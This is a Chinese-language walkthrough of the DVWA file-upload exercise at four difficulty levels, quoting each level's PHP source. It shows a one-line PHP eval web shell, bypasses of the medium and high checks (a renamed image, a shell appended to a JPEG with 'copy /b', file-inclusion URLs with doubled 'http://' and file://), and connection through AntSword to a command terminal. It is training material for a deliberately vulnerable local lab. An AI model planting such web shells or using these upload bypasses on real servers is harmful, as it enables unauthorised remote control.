文章目錄
- 準備工作
- 1、low
- 2、medium
- 3、high
- 4、impossible
準備工作
需要下載下傳 蟻劍 進行測試
點選跳轉下載下傳所需工具
1、low
源碼解析：
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?> 源碼無任何攔截，直接上傳一句話木馬即可；
<?php eval($_POST['123']);?> 将一句話木馬進行上傳，然後點選[upload]；
木馬上傳成功；
使用蟻劍進行連接配接測試，蟻劍初始化見準備工作内容連結，此處不再贅述；
連接配接URL為檔案上傳一句話木馬路徑，字首位于浏覽器，字尾位于檔案上傳回顯，…/…/ 代表上一級目錄，需要注意具體數量，防止目錄錯誤；
測試連接配接是否成功；
測試成功後添加資料；
添加成功後可以跳轉具體目錄，可以使用管理者權限進行修改系統檔案與目錄；
打開終端CMD；
可以使用CMD進行具體操作；
2、medium
源碼解析：
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information 定義上傳檔案資訊
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image? 規定檔案字尾與檔案大小
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?> 源碼定義了上傳檔案字尾與大小，可以将一句話木馬字尾修改為jpg或png，檢視大小是否滿足即可進行上傳；
圖檔檔案上傳成功；
此處需要結合 第六章内容 進行關聯蟻劍；
由于medium安全等級，檔案包含路徑限制了http:// https:// …/ …\等四組跳轉方式，是以URL修改為：
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/dvwa/hackable/uploads/2.png
（參考第六章 medium等級）
通過Burpsuite抓包擷取http請求cookie值；
将cookie配置到蟻劍
cookie：security=medium; PHPSESSID=q6vjv4329g7vv8rhpsoi7gk2a2
配置完成測試連接配接是否成功，剩餘連接配接同第一節内容；
結果驗證：
3、high
源碼解析：
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information 定義上傳檔案資訊
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image? 定義上傳檔案内容開頭是否為圖檔資料
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?> 将一句話木馬融合到某個圖檔中
C:\Users\Administrator\Desktop>copy 頭像.jpg/b + 1.png /a 3.jpg 指令展示如下：
圖檔外觀與原始圖檔一樣，需要使用筆記本檢視圖檔内是否攜帶一句話木馬；
點選配置好的圖檔進行上傳；
圖檔上傳成功；
使用Burpsuite抓取對應cookie值；
将cookie值放入蟻劍；
配置對應連接配接URL與連接配接密碼，并測試連接配接；
URL：
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://d://phpstudy_pro/WWW/DVWA//hackable/uploads/3.png
（參考第六章 high等級）
4、impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>